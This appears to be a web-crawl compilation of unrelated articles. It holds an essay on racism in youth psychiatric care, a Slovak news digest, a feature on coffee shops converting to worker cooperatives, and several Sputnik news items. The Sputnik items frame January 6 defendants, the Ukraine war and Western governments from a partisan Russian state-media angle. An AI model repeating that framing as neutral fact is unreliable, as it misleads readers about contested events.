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He could have been my cousinwith a caramel skin tone like mine and dark-brown, thick curly locks. Id developed a good therapeutic relationship with him, probably because I treated him like a human who was struggling. But I had also taken the time to observe him. I knew that loud noises triggered him and that he had trouble with transitions. When staff changed shifts, noisily arriving and departing, he tended to become upset. And that was exactly what happened that day. A West Indian nurse and a Latina nurse remained at my side, expertly de-escalating the patient using psychiatric techniques that were tailored to his needs.

He did not, in fact, end up needing restraints.

Many of my colleagues had branded him as manipulative and violent, common racist tropes I have heard colleagues use to describe Black and Brown patients. I watched the same psychiatric colleagues treat white children who proudly use the N-word with patience and understanding. Notheyre struggling, you know, white staff often tell me when I inquire whether they have told these patients that hate speech is unacceptable.

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We are in the midst of an adolescent mental health crisis. But Black youth have been in crisis for decades. Black youth suicide rates are rising faster than any other racial/ethnic group in America. Black youth ages 13 and younger are twice as likely to die by suicide compared to their white peers. Yet Black youth are less likely to access and remain in mental health care. Attention is often focused on cultural stigma in the Black community or lack of economic resources. What is rarely talked about is the racism that Black youth experience within the health care system.

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A recent Yale study found that Black children are nearly twice as likely to be physically restrained in the emergency department compared to white children. Black children, like my patient, are diagnosed withand thus treated forautism spectrum disorder on average at almost 5 and a half years old, about six months after white children, even though their parents may have first expressed concerns about their development years earlier.

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Studies will often explain this disparity by citing lack of access to care, the wealth gap, and low socioeconomic status in Black populationswhile usually failing to acknowledge that these issues are caused by the intentional, racist economic oppression of Black Americans due to white supremacy. But a large contributing factor to these racial disparities is the frank neglect and subpar treatment of Black children by predominantly white mental health providers. If we want to improve Black youth mental health, we desperately need more Black mental health care professionals. And we need them in positions of power and influence.

Psychiatry is a white-dominated field, and I am constantly reminded that as a Black woman, I will never fully belong. When I bring up white staffs differential treatment or point out the unprofessional and harsh descriptors they use when talking about Black patients (and document in patient charts), they are protected by administrators, and I am routinely targeted and retaliated against by white staff. Retaliation is often sneaky, cowardlytelling on me to their nursing supervisors for going against treatment plans they never communicated, talking to me in their offices about being less intense when I stand up for patients, interrupting me and ignoring my questions (and even, on occasion, yelling in my face). I am forced to find strategic ways to advocate for my Black patients, while constantly watching my backand I should not have to. Often, Black nurses and mental health workers come to me in secret to discuss unfair treatment they have received while attempting to stand up for Black patients. They come to me for help because if they report the behavior, they risk being further targeted. Many Black mental health providers are forced to endure added stress and burden that white colleagues do not face: the burden of speaking up in a system that was not made to protect us. To be sure, there are white mental health professionals who are committed to racial equitybut unfortunately, in my experience, they are the exception, not the rule. We desperately need change.

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To start, its useful to clarify the different mental health roles in a hospital. Theres the psychiatrist, who is responsible for managing medications and directing treatmentbut in reality, psychiatrists spend the least amount of time with patients. There are nurses, who carry out the psychiatrists orders and provide critical frontline knowledge of when physical restraints or extra medications are needed on the hospital unit. There are mental health technicians, who keep the patients safe on the inpatient psychiatric unit by neutralizing conflict, helping children take their medications, and engaging in therapeutic activities with the patients. Psychologists play an important role in managing therapy groups, and social workers, in addition to therapy, are also crucial to ensure that patients have a safe discharge plan.

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The truth is that to bring more Black individuals to all of these roles, we have to start with money. We need to go to collegeseven elementary and high schoolsto recruit Black students who are interested in the mental health field, and to impress upon them how much Black psychiatrists and other mental health professionals are needed. Black students are the most likely to have higher student debt, so its crucial to fully fund training and certification, whether thats to become a psychiatric nurse or a mental health tech.

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When it comes to psychiatrists, only 2 percent are Black. So we also need to invest in programs that are committed to increasing the Black medical student pipeline, like the White Coats Black Doctors Foundation or medical schools associated with historically Black universities, including Xavier Universitys new medical school. Few Black psychiatry workforce pipeline programs exist, and they often do not fully cover medical school tuition. One such program, funded by the American Psychiatric Association, provides mentorship, funding to attend an APA conference, and financial resources for Medical College Admission Test preparation. But we need many more programs like this one if we want more Black psychiatrists.

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And we need to emphasize retention, not just recruitment. Black mental health professionals, like me, are not only witnessing the racism that our Black patients experience; we are also targeted by anti-Black racism in the workplace ourselves, from both our colleagues and patients. My Black colleagues are commonly called the N-word by white patients and often receive no support from their white coworkers. The first time I was called the N-word, it was by an older adolescent patient who was stable and close to discharge. Even though it happened in front of a crowd of white staff and supervisors, not one of them asked me if I was OK. The only person who supported mefirst checking in with me and later going back to the patient and telling him to apologizewas a Black nurse.

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There needs to be accountability for racist behavior in the workplace so that Black mental health professionals can feel safe and protected when advocating for our patients and ourselves. We need the power to shape workplace practices and provide crucial perspectives and expertise. If Black mental health professionals are hired but not placed into positions of power and influence, then there will be minimal change and poor retention in the spaces that need them most. Some hospitals have racism reporting systems, but it is still extremely difficult to report a white colleague for racist behavior toward patients and staff. White workers are often protected by white people in power, such as nursing supervisors or medical directors. Further, the individuals who are in charge of interpreting and responding to reports of racism in the workplace are often not experts in mitigating racism, so the reporting system is minimally effective.

Our mental health workforce should reflect the population it serves, and right now, Black individuals are extremely underrepresented. If we truly want to improve the mental health of Black adults as well as children, we need to get busy.

State of Mind is a partnership of Slate and Arizona State University that offers a practical look at our mental health systemand how to make it better.
Your motorway vignettes guide, the number of Ukrainian pupils in Slovak schools, and an award for President Caputova.

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Good evening. Here is the Tuesday, January 24 edition of Today in Slovakia - the main news of the day in less than five minutes.

Cheaper than before: Tesla cars

Tesla has reduced the prices of its cars so much that its electric Models 3 and Y with basic equipment are comparable to electric models from the carmakers Skoda, Volkswagen, and Kia. (Source: SITA-AP)

In response to reduced demand, the Tesla carmaker surprisingly lowered the prices of its electric cars recently, making them cheaper not only in the US, but in Asia and Europe as well.

Better prices also apply if you want to buy a car from Slovakia, but you will be at a disadvantage when placing an order.

Last year, the carmaker delivered 1.3 million vehicles to customers, an increase of 40 per cent compared to the previous year, but the number still fell short of expectations. The outlook is not positive either, as pre-orders have decreased.

Other stories from The Slovak Spectator website

Archaeology: A stone spear point, the age of which is about 40,000 to 50,000 years old, has been found in the Trnava Region.

A stone spear point, the age of which is about 40,000 to 50,000 years old, has been found in the Trnava Region. Education: The Education Ministry has promised scholarships for students who would study at Slovak universities, but it took the ministry months to provide funding.

The Education Ministry has promised scholarships for students who would study at Slovak universities, but it took the ministry months to provide funding. Investment: What conditions have to be met to receive investment aid from state?

If you like what we are doing and want to support good journalism, buy our online subscription. Thank you.

FEATURE STORY FOR TUESDAY

Guide: Tips on how to save money on motorway vignettes in this part of Europe

The M30 motorway between Miszkolc, Hungary, and the Slovak-Hungarian border crossing in Tornyosnemeti. (Source: TASR  Frantisek Ivan)

Slovakia is not the only European country that decided to make motorway vignettes more expensive. Here's a selection of countries in the region and the prices of motorway vignettes in 2023.

In a few lines:

The Trnava-based carmaker Stellantis suspended production on Tuesday due to a shortage of components. The situation for the next days is unclear.

10,127 pupils from Ukraine attend Slovak schools, the Education Ministry has said.

On January 24, 2023, President Zuzana Caputova received the Schwarzkopf European Award in Berlin. In her speech, she drew attention to the increasing polarisation in society and appealed for a return to values. (Source: TASR - Katarina Bacova)

Podunajsko National Park , to be declared in the southwest of Slovakia, should have 18,000 hectares. It will be the first lowland-type national park and become the tenth national park in Slovakia, the Environment Ministry said.

Former finance minister and OLaNO chair Igor Matovic has officially become an MP. On Wednesday, lawmakers discussed a constitutional change that would make an early election possible. Parliament should vote on the change tomorrow before midday.

WEATHER FOR WEDNESDAY: Skies will be clear or partly cloudy. In some places, especially at night and in the morning, you can expect fog and cloudy skies. Light precipitation is also expected here and there. The daytime temperature will be from 2C to 7C, or 0C in northern Slovakia. Light wind. Fog warnings remain in place for Wednesday and Thursday. (SHMU)

Thank you for reading The Slovak Spectator.

P.S. If you have suggestions on how this news overview can be improved, you can reach us at editorial@spectator.sk.
There is something undeniable happening when it comes to coffee and labor in the United States. But one size does not fit all. In the same year as a burgeoning worker uprising movement, a handful of coffee businesses around the country were exploring an alternative approach: converting to a worker-owned model. Theres a subtle but significant difference between a company having a union, and a company being worker-owned; both unions and cooperatives are examples of collectivity, where you are stronger as a group than as an individual, but the practical reality of these modes of operation look totally distinct.

You can certainly open a business as a cooperative, like many do, but another option is to convert an existing one to a cooperative model. The process sounds a little daunting so I talked to three coffee cooperatives who recently and successfully converted. They gave me a behind-the-scenes look at their conversion processes and also shared some insightful tips for those who want to explore this.

No conversion is quite the same as another but there were a few similar trends between their stories. The owners in each case were favorable to the idea of conversion and contributed financially to it. There was also an existing culture of employees invested in the companys future and company values that aligned with being worker owned.

There are three different forms of work ownerships out there: employee stock ownership plans (ESOPs), employee ownership trusts (ESOTs), and worker-owned cooperatives. Here, we focus on worker-owned cooperatives, the only type where employees buy their shares and are assured to be part of the decision-making process.

Afterglow Coffee Cooperative

In Fall 2021, Afterglow Coffee Cooperative in Richmond, Virginia announced its presence to the world. Fans of Lamplighter Coffee recognized the Summit Avenue address as Lamplighters former roastery-cafe location. When the pandemic hit, all three Lamplighter cafes closed, and the roastery became wholesale only.

By that point, worker-owner Alan Smith had worked as a barista for two decades and been with Lamplighter since 2010. With worker ownership already a discussion topic, Smith and his colleagues saw all the horrible stuff happening in our industry and the pandemic as a catalyst for necessary change. How can we use this as an opportunity to create the change we would like to see? he remembers their feelings at the time. Might as well go all the way and try to have us all own the business.

Lamplighters owners were receptive to the idea and together, they negotiated the cost of purchasing the location that included both the roastery, its wholesale business, and a retail bar. There was no animosity, there was no struggle to get them to understand the ideals behind why worker ownership would be a good thing for them and for us, says Smith. We were in a very ideologically privileged place. The buyout would give Lamplighters owners some cash to keep the original cafe on Addison Street upright through COVID. The entire process took about six to eight months and was relatively smooth.

Just over a year into becoming a cooperative, Smith names communication, being under-resourced, and creating governance from scratch as some of the biggest challenges to overcome. It just feels in order to do it really well, we need a lot of resources that we just dont have access to as a small business, says Smith. But that doesnt change his positive outlook of being able to create their own priorities. Even if we cant meet all of them all the time, we still dont have to take no for an answer from somebody else who isnt us.

Afterglow now has six worker-owners. If you cant afford the minimum buy-in, then you can work at a slightly reduced rate for six months to earn the buy-in equivalent. As a worker-owner, you have one vote (all important decisions require consensus) and an equal share of the business as the others.

Smith shares some parting advice for workers exploring collective action: You have a lot more power than you realize. One of you is replaceable, all of you are not. I feel like a lot of people are just so beaten down by service work that they really dont believe that change is possible.

Morning Bell Coffee Roasters

Even before the conversion, Morning Bell Coffee Roasters employees have always been democratic in nature. Decisions like scheduling and green coffee buying were made by group consensus. Our shop culture has always been one where management has full trust in our employees, and Ive found that to be more unique than I could have imagined, says Nadav Mer, the founder and former owner of Ames, Iowa-based Morning Bell. For example, every employee had a key to the shop and veto power over hiring decisions.

Worker-owner Kari Storjohann was an employee at the time and, after seeing Spyhouses unionization efforts, had brought up unionizing to Mer. He said, Ill do you one better. What if we have a workers cooperative? she recalls. Another worker-owner, Maxwell Westlake, remembers it being a cool idea to become a business owner, albeit a little frightening. Iowa had no worker-owned cooperatives in the state, so Morning Bell had to cross state lines to obtain legal help and formation guidance. The ICA Group, the oldest national organization dedicated to the development of worker cooperatives, sent someone out to walk them through the process and explain both challenges and benefits. Westlake says, They helped with a lot of the early stages and explaining the concept to us.

The original plan was to have Mer stay involved as a worker-owner, but once he decided to move for his wifes new Texas A&M job (Mer also now works there), the plan pivoted to selling the business to its current employees.

After exploring all the financing options out there, Mer decided to personally finance the transition and provide a loan for the cooperative to purchase the business. It took some work getting my mind around the idea that the equity in the business isnt being sold to anyone, there is no new owner. he says, describing the equity as more like community property.

Morning Bell recently passed its one-year cooperative anniversary and now has five worker-owners and two additional employees. At the one-year employment mark, theres the option to join as a worker-owner at a buy-in of $1000, an attainable amount but still high enough to show a level of commitment.

As a job, I can confidently say its, by far, the best job Ive ever had. And Im guessing the best I ever will, enthuses Westlake. Weve been able to do some really good thingsboth for employees who are owners and employees who are notand within the community that I dont think we wouldve been able to do otherwise.

Gimme! Coffee

Of the three cooperatives featured here, New York-based Gimme! Coffee is the youngest at six months old. However, its also the largest (at the time, it had 53 employees and converted about 75% to worker-owners). The overall process took two-and-a-half years to complete, far beyond the initial estimate of one year.

In 2019, Gimmes original owner Kevin Cuddeback privately expressed his desire to retire and move out of state. Colleen Anunu, now Gimmes Co-Managing Director and Head of Product Development, was brought on as interim CEO with the intention of helping with the conversion process. Anunu had previously spent a decade at the company before leaving in 2013. When Anunu returned, they described the company culture as deferred maintenance, where you could just tell that no one was really trying to create collective empowerment between all of these different, separate silos of the business.

One of the first phases of conversion is conducting a feasibility study to ensure that the business is able and ready for the structure change. This includes analyzing finances and gauging employee interest. Overall, it took at least six months, with the first portion being completed quietly without employee knowledge in case the financial analysis wasnt positive.

After the employees agreed to pursue the co-op model, a transition team was created to prepare the co-ops foundation and oversee the sale of the business. Running concurrently with this was the Gimme Barista Unions decertification vote. To some, the conversion timing was suspicious and felt like union busting; it also led to the withdrawal of Project Equity, a not-for-profit organization that specializes in conversions. I was the only barista who was a part of the transition team, and people didnt necessarily want to reach out to management cause of trust issues, says Wendy Roth, a lead barista and board member.

Once meetings began and financial information was shared, the tone changed. Production assistant and board member Quinn Knight says, Everyones participating, everyones energized, everyone is wanting this to happen because we all have common values and goals, and were bringing this to the table. Roth and Knight both swear by the created bylaws and their decision matrix, advising others to get these cemented as early as possible. Referring to union-busting suspicions, Roth also advises being as transparent as possible with everything that youre doing is super important.

Benefits

Co-ops solve a few big issues that are plaguing small business owners today, including one nicknamed the Silver Tsunami, for the fact that half of all privately held businesses with employees have owners over age 55. In addition, one out of three business owners over age 50 has a hard time finding a buyer, leading to business closures or sales. Keeping a local business alive also means that it can circulate three times more money within the community than an absentee-owned corporation.

Whether youre the owner or the employee who has an interest in forming a cooperative, a conversion begins the same way: with research. Talk to other cooperatives and reach out to organizations that are established to help cooperatives. One of the founding principles of all cooperatives is cooperatives helping cooperatives, says Anunu.

Mer says, In my opinion, the workers cooperative structure might be the most optimistic way for us to build equitable systems that work well at small scale within our larger capitalist economic system. Research from the National Center for Employee Ownership supports his opinion. Compared to workers who arent owners, employee-owners have 92% higher median household wealth, 33% higher income from wages, and 53% longer median job tenure. Cooperative-run businesses also boast a higher productivity rate and lower turnover. And finally, as told to me in my history of coffee unions article, they also offer a solution to increase wealth equity among the immigrant population.

Financial challenges

As one can imagine, financing is one of the biggest hurdles to overcome in a conversion. Accountant and legal fees for the smaller businesses were in the thousands while Gimmes was around $15-20k.

In addition to professional fees and the costs of purchasing a business, there could also be conversion consultant fees ($50k for Gimme). Afterglow purchased the business but it was able to do some of the purchase in trade for coffee. So we gave them credit on their account, basically I think $20,000 in product, says Smith. For Gimme, lender Shared Capital Cooperative funded 70% of the sale and Cuddeback self-financed the remaining 30%.

In response to increased interest in conversions, more monetary resources are available. Funds like Co-op Cincys Business Legacy Fund and the Cooperative Fund of the Northeast exist to provide loans for this process. Each cooperative lender that we pitched to included long periods of discussion and clarification about our proposed cooperative structure, business plan, and membership engagement, Anunu tells me. Gimme ended up going with a different lender after the first one offered unrealistic terms that wouldve had members putting up $6,000 each (the current buy-in is set at $1,300, which can be paid off over time).

A bright future

At the end of each interview, I asked everyone the same question: Would you do it again? Wed gone over the challenges already, and I wanted to know if what seemed to be a difficult process was worth the result. The answer was a resounding YES with enthusiastic praise for the co-op model. Everyone who talked to me had excitement in their voice and encouraged others to explore the option.

People felt more empowered in their jobs, were learning more about business operations than ever before, and held a generally more positive outlook on their future. Both Morning Bell and Afterglow have already sparked conversion interest in nearby businesses, with Afterglow going as far as trying to hold educational workshops.

The culture is very different now. People are much more excited about the future. says Roth. Its a great business modelfor people that dont necessarily have college degrees and have ambitions to be business ownersto get that experience still. I think its pretty incredible.

Knight agrees, explaining that shes had to support herself since age 16 and that she doesnt hold a college degree. Building a house seemed like a pipe dream until now. She says, I feel like Im actually gonna be able to do a lot of things that Ive been dreaming of doing with my life.

Jenn Chen (@thejennchen) is an Editor At Large at Sprudge Media Network. Read more Jenn Chen on Sprudge.
https://sputnikglobe.com/20230123/russian-embassy-in-spain-nyt-article-on-gru-links-to-explosive-mail-crimes-fantasy-1106629797.html

Russian Embassy in Spain: NYT Article on GRU Links to Explosive Mail Crimes 'Fantasy'

Russian Embassy in Spain: NYT Article on GRU Links to Explosive Mail Crimes 'Fantasy'

The New York Times article alleging the Russian military intelligence (GRU) was involved in mailing parcels with explosives to officials in Spain is nothing but a "fantasy," the Russian Embassy in Madrid said on Monday.

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On Sunday, The New York Times published an article saying Russian security service officers allegedly coordinated supporters of white supremacist groups to mail bomb parcels in Spain. The Russian embassy also said that Spanish media were very actively promoting this article, although it did not contain any evidence. In particular, the El Pais newspaper published an article claiming "Russia Organized Mailing Letters With Explosives to Institutions," which, however, concluded "Kremlin's responsibility for mailing [letters] in Spain is unclear," according to the statement. In November and December 2022, a total of six letters with explosive devices inside were discovered. They were sent to Prime Minister Pedro Sanchez, to the US and Ukrainian embassies in Madrid, as well as to the Spanish Defense Ministry, among others. One employee of the Ukrainian embassy was injured as a result of the incidents. Representatives of the Spanish law enforcement agencies said they had no evidence of Russia's involvement in the crimes. Moscow has also repeatedly denied all allegation it was behind the incidents.

https://sputnikglobe.com/20221130/report-spains-arms-firm-gets-package-similar-to-one-exploding-near-ukraines-embassy--1104914730.html

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https://sputnikglobe.com/20230124/47-year-jail-time-for-boots-on-pelosis-desk-how-january-sixers-got-draconian-treatment-1106656996.html

47-Year Jail Time for Boots on Pelosi's Desk? How January Sixers Got Draconian Treatment

47-Year Jail Time for Boots on Pelosi's Desk? How January Sixers Got Draconian Treatment

Richard Barnett, an Arkansas man who was photographed putting his legs on then-House Speaker Nancy Pelosi's desk during the January 6, 2021, protests, has been... 24.01.2023, Sputnik International

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It reportedly took less than two hours for a federal District of Columbia jury to find January 6 protester Richard Barnett guilty of four felonies and four misdemeanors. The elderly man could spend the rest of his life in prison.Covering the issue, the US mainstream media described Barnett as a participant of insurrection, while none of the charges cite "insurrection" per se. The 62-year-old was tried and convicted of entering and remaining in certain rooms in the Capitol building; disorderly conduct in Capitol premises; parading, demonstrating or picketing in a Capitol building; and entering and remaining in a restricted building or grounds with a deadly or dangerous weapon.He was also convicted of disorderly and disruptive conduct in a restricted building or grounds with a deadly or dangerous weapon; theft of government property; civil disorder; and obstruction of an official proceeding.Following the announcement of the verdict, Barnett told press that he was not given a "fair" trial and that he will appeal. His legal team insists that even though the list of his charges sounds impressive, the defendant by no means deserves a 47-year sentence.The only weapon Barnett brought to the Capitol on January 6 was allegedly a 950,000-volt Hike n Strike stun device that can penetrate clothing to cause pain. However, the device did not function on that day because it had no batteries.The court heard that the federal property stolen by the January Sixer was an envelope from Pelosi's desk. According to the defendant, he kept it because he had left his blood on it from a cut on his hand. Barnett even left a quarter on the desk to pay for it.When it comes to the "eleventh hour" civil disorder charge, which was reportedly added a month ago, it referred to a reportedly short-lived "temper tantrum" in which Barnett "behaved like an idiot" while arguing with a Capitol Police officer about his flag, which he left behind in Pelosi's office, according to his lawyers.The US conservative media has drawn attention to the fact that the Barnett verdict was "the latest in a series of lightning-quick verdicts" from DC juries in January 6 trials, which amplify concerns of political bias surrounding the FBI and DoJ's handling of the cases.Barnett's DetentionUS conservative journalists who have covered Barnett's case for the past two years, raised the alarm over an apparent abuse of constitutional rights of the elderly Arkansas man and other January Sixers, as well as draconian measures taken against them in detention.For starters, Barnett spent almost four months in solitary confinement being refused bail, even though he has no criminal record and wasn't charged at that time with violent crimes apart from "violent entry".While speaking to American conservative journalists, Barnett revealed that the US government opened up a shuttered jail facility in DC specifically to house January 6 detainees.January Sixers were reportedly not allowed to leave the quarantine cell for any reason for two weeks to follow COVID-19 rules. After the quarantine was over, they were moved to cells which were about 70 square feet (6.5 square meters) with a concrete slab for a bed, a toilet, and a sink. The detainees were held in solitary confinement for 23 hours a day, according to Barnett.What's worse, the guards treated the January 6 detainees in a humiliating and violent manner, according to the defendant. One of the guards, in particular, slammed Barnetts face into the concrete floor after the latter raised the issue of prison rules abuse by the jailers. Barnett further claimed that another detainee was attacked in his cell in the middle of the night, handcuffed, and beaten "senseless." In addition, the guards were "nasty and insulting" about the January Sixers attempts to pray.In April 2021, his lawyer Joseph McBride managed to secure his pretrial release and placement under house arrest in Gravette, Arkansas. At that time, the US media reported that prosecutors offered Barnett seven years in jail in exchange for a guilty plea, but the defendant rejected the deal.According to US conservative observers, descriptions of inhuman conditions by other January 6 inmates confirmed what Barnett said. It was reported that the detainees complained that they had been abused mentally, physically, socially, emotionally, legally and spiritually.GOP Raised Alarm Over Abuse of January SixersGOP lawmakers have repeatedly raised the issue of the DoJ and FBI's handling of January 6 cases amid reports of the bureau interrogating civilians with no lawyers present as well as using SWAT teams to arrest people with no criminal record.In particular, in June 2021, Senators Ron Johnson (R-Wisc.), Mike Lee (R-Utah), Ted Cruz (R-Texas), Rick Scott (R-Fla.) and Tommy Tuberville (R-Ala.) sent a letter to AG Garland citing concerns about the ongoing of the January 6 probe.The congressmen asked, in particular, how many people who may have committed crimes associated with the Capitol breach were arrested by law enforcement using pre-dawn raids and SWAT teams; how many of the defendants are incarcerated; how many of them were placed in solitary confinement and for how long; and how many of those detained have been released on bail.In September 2022, special agent Steve Friend, an FBI whistleblower, came forward to report to the US Office of Special Counsel about the bureau and DoJ's apparent abuse of the constitutional rights of January 6 defendants, falsification of statistics on domestic extremism, and the misuse of SWAT teams to make misdemeanor arrests. However, soon after, the whistleblower was suspended indefinitely from duty even though he was known for "exemplary" work in the FBI and even won awards.Speaking to Sputnik earlier this month, Friend expressed hope that House GOP investigators would get to the bottom of what appears to be politicization and weaponization of the FBI and DoJ by the Biden administration to crack down on its political opponents. Earlier, the Republicans announced the creation of a new "Church Committee" to investigate the federal government's conduct.The Republicans gained the majority in the House of Representatives following the November 2022 midterm elections. GOP congressmen vowed to launch a series of investigations into the incumbent president and his administration.

https://sputnikglobe.com/20210607/how-bidens-effort-to-weaponise-human-rights-against-russia-may-backfire-on-washington-1083094000.html

https://sputnikglobe.com/20210706/domestic-terrorists-or-political-prisoners-fbi-on-911-style-hunting-spree-for-january-sixers-1083321129.html

https://sputnikglobe.com/20230120/under-biden-federal-agencies-turned-into-instrument-of-intimidation-fbi-whistleblower-says-1106516720.html

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https://sputnikglobe.com/20230124/arrested-sputnik-lithuania-editor-kasem-thanks-colleagues-for-support-1106661738.html

Arrested Sputnik Lithuania Editor Kasem Thanks Colleagues for Support

Arrested Sputnik Lithuania Editor Kasem Thanks Colleagues for Support

Marat Kasem, the editor-in-chief of Sputnik Lithuania who was recently arrested in Latvia, wrote a new letter to his colleagues from prison in Riga, thanking them for their support.

2023-01-24T17:30+0000

2023-01-24T17:30+0000

2023-03-14T13:44+0000

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Kasem, a Latvian national working at the Sputnik Lithuania editorial desk of Moscow-based international media group Rossiya Segodnya, was detained during a trip to the Latvian capital on January 3 and sent to Riga Central Prison two days later, having been accused of violating EU sanctions against Russia as well as of espionage, an offense punished by up to 20 years in prison. The journalist was allowed to say his final goodbyes to his grandmother, who died while he was in prison. In his letter, Kasem said that the news of the death of his grandmother was devastating. The journalist wished strength and creative accomplishments to his colleagues, recalling that "anything is possible" in Latvia. "I will not once again provoke the investigation and I will fully trust you to take care of my case. You'll manage it! I miss everyone," he added. The Russian Foreign Ministry said that Kasem's arrest was an act of revenge against the country's media, adding that the journalist felt politically persecuted and spoke about it often. Dmitry Kiselev, director general of Rossiya Segodnya, said Kasem had faced political persecution in the Baltic states. Kasem's lawyers said that they will file a complaint with the European Court of Human Rights.

https://sputnikglobe.com/20230116/russian-mission-in-geneva-pay-attention-to-fate-of-arrested-sputnik-editor-1106412080.html

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https://sputnikglobe.com/20230124/biden--neocon-war-on-russia-leading-world-to-annihilation-global-peace-activist-warns-1106631462.html

Biden & Neocon War on Russia Leading World to Annihilation, Global Peace Activist Warns

Biden & Neocon War on Russia Leading World to Annihilation, Global Peace Activist Warns

President Joe Biden has surrounded himself with hardline neocons and together they are waging a war on Russia in Ukraine leading the world towards nuclear annihilation, an anti-nuclear campaigner and peace activist told Sputnik.

2023-01-24T01:12+0000

2023-01-24T01:12+0000

2023-01-24T01:06+0000

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Last week, the US announced another $2.6 billion in aid for Ukraine, which includes Bradley infantry fighting vehicles and Stryker armored personnel carriers, among other equipment. According to the Foundation for Defense of Democracies (FDD) think tank, the United States may gain as much as $21.7 billion in military sales for restocking equipment delivered to Ukraine by NATO allies. Earlier on Monday, Russian Foreign Minister Sergey Lavrov warned the United States and its NATO allies were waging not merely a hybrid proxy war on Russia in Ukraine but, increasingly, a real one to annihilate Russia's culture and language. Biden urgently needed to defuse the extremely dangerous situation he created and meet as soon as possible with Russian President Vladimir Putin, Caldicott said. "If Biden had an inkling of global leadership he would cast aside his advisers and take the world stage, negotiate with Putin as if his and all life depended upon it and end this obscene military standoff," she said. Biden's policies already brought the world closer to the brink of thermonuclear than at any time in more than the past 60 years, Caldicott cautioned. The Ukrainian crisis was a catastrophe, where for the first time since the 1962 Cuban missile crisis, the two global nuclear superpowers are confronting each other militarily, one threatening the use of nuclear weapons and the other almost certain to retaliate in kind, she said. Biden could have prevented the entire current conflict war from breaking out if he had simply heeded two security requests from Moscow, neither of which threatened the independence or integrity of Ukraine in any way but both of which were essential to Russian security, Caldicott said. "Before the Russian invasion, Putin had asked Biden two things: First, Do not allow Ukraine to join NATO. And second, Remove the offensive US missiles deployed in new NATO countries adjacent to Russia - easy enough but antithetical to the neocon agenda," she concluded.

https://sputnikglobe.com/20221205/russia-regularly-warns-west-that-direct-nuclear-powers-clash-unacceptable-lavrov-1105073446.html

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https://sputnikglobe.com/20230124/estonia-severs-almost-all-economic-ties-with-russia-russian-ambassador-says-1106646237.html

Estonia Severs Almost All Economic Ties With Russia, Russian Ambassador Says

Estonia Severs Almost All Economic Ties With Russia, Russian Ambassador Says

Estonia has cut off virtually all economic ties with Russia, Russian Ambassador to Estonia Vladimir Lipayev said on Tuesday.

2023-01-24T11:09+0000

2023-01-24T11:09+0000

2023-01-24T11:10+0000

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On Monday, the Russian Foreign Ministry said that Moscow lowered the level of diplomatic relations with Estonia after the Estonian Foreign Ministry required that Russia reduce the number of staff in its embassy in Tallinn starting February 1. In addition, the Russian Foreign Ministry summoned Estonian Ambassador to Russia Margus Laidre and asked him to leave the country by February 7, at the same time as Lipayev would leave Estonia.

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https://sputnikglobe.com/20230124/eu-approves-anti-corruption-inquiry-in-ukraine-awaits-progress-1106660386.html

EU Approves Anti-Corruption Inquiry in Ukraine, Awaits Progress

EU Approves Anti-Corruption Inquiry in Ukraine, Awaits Progress

The European Union welcomes the anti-corruption investigation underway in Ukraine against a number of officials, but expects more significant progress from Kiev on this issue

2023-01-24T16:15+0000

2023-01-24T16:15+0000

2023-01-24T16:15+0000

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Earlier in the day, Ukrainian media said that several senior Ukrainian officials were dismissed amid allegations of corruption. Ukrainian President Volodymyr Zelensky fired Kyrylo Tymoshenko from his position as deputy head of the presidential office and Oleksiy Symonenko from his post as deputy prosecutor general. She added that Ukraine was "expected to further strengthen the fight against corruption, in particular at high level," as part of the EU membership process. In autumn 2023, the EU will assess Ukraine's progress as a priority matter. On February 28, Zelensky signed a formal request for Ukraine to join the EU, stressing the need for Kiev, which is "paying such a huge price for the European choice and security of Europe," to be with other EU countries. On June 23, the EU approved Ukraine's status as a candidate for joining the bloc.

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https://sputnikglobe.com/20230124/eus-borrell-says-russia-capable-of-destroying-satellites-in-space-1106658669.html

EU's Borrell Says Russia Capable of Destroying Satellites in Space

EU's Borrell Says Russia Capable of Destroying Satellites in Space

EU foreign policy chief Josep Borrell said Tuesday that Russia poses a threat in outer space, claiming that Moscow is capable of conducting cyberattacks on satellites as well as physically destroying them with missiles

2023-01-24T15:39+0000

2023-01-24T15:39+0000

2023-01-24T15:39+0000

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He noted that there are currently about 5,500 satellites in orbit, and almost 10% of them have military applications, with many others being used for both civilian and military purposes. Borrell said satellite information was crucial during the conflict in Ukraine, keeping citizens "connected to their country and the outside world." In November 2021, Russia successfully tested the anti-satellite missile system and hit the inactive Russian Tselina-D spacecraft. Russian Defense Minister Sergei Shoigu said the old satellite debris resulting from the test did not pose any threat to space activities.

https://sputnikglobe.com/20230124/roscosmos-chief-says-russia-must-increase-satellites-in-orbit-fivefold-by-2030-1106654099.html

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https://sputnikglobe.com/20230124/finland-and-swedens-talks-with-turkey-on-nato-membership-need-break-says-finnish-fm-1106639255.html

Finland and Sweden's Talks With Turkey on NATO Membership Need Break, Says Finnish FM

Finland and Sweden's Talks With Turkey on NATO Membership Need Break, Says Finnish FM

Negotiations of Finland and Sweden with Turkey on NATO membership need a pause, Finnish Foreign Minister Pekka Haavisto said on Tuesday in light of the Muslim holy book burning incident in Stockholm.

2023-01-24T13:56+0000

2023-01-24T13:56+0000

2023-01-24T13:56+0000

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On Saturday, Rasmus Paludan, the leader of the right-wing Danish political party Stram Kurs, burned a copy of the Quran in front of the Turkish embassy in Stockholm after receiving a permission from the authorities. The burning of the Quran was condemned by many countries, including Turkey. On Monday, Turkish President Recep Tayyip Erdogan said that Stockholm should not expect Ankara's support for Sweden's entry into NATO after anti-Turkish and anti-Islamic actions.Finland and Sweden applied to join NATO in May last year amid a special operation in Ukraine. At the end of June, the NATO leadership decided to invite these two countries to the alliance. However, the idea of Sweden and Finland joining NATO found a strict opposition in the face of Turkey. Erdogan has repeatedly accused Stockholm and Helsinki of supporting Kurdish armed groups, which Ankara considers terrorist. For a country to join NATO, its application must be approved by all members of the alliance.

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https://sputnikglobe.com/20230124/french-court-dismisses-rape-case-against-interior-minister-darmanin-media-reports-1106647120.html

French Court Dismisses Rape Case Against Interior Minister Darmanin, Media Reports

French Court Dismisses Rape Case Against Interior Minister Darmanin, Media Reports

The Paris Court of Appeal dismissed on Tuesday the rape case against French Interior Minister Gerald Darmanin due to the absence of evidence a crime was committed, French media reported.

2023-01-24T11:28+0000

2023-01-24T11:28+0000

2023-01-24T11:28+0000

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france

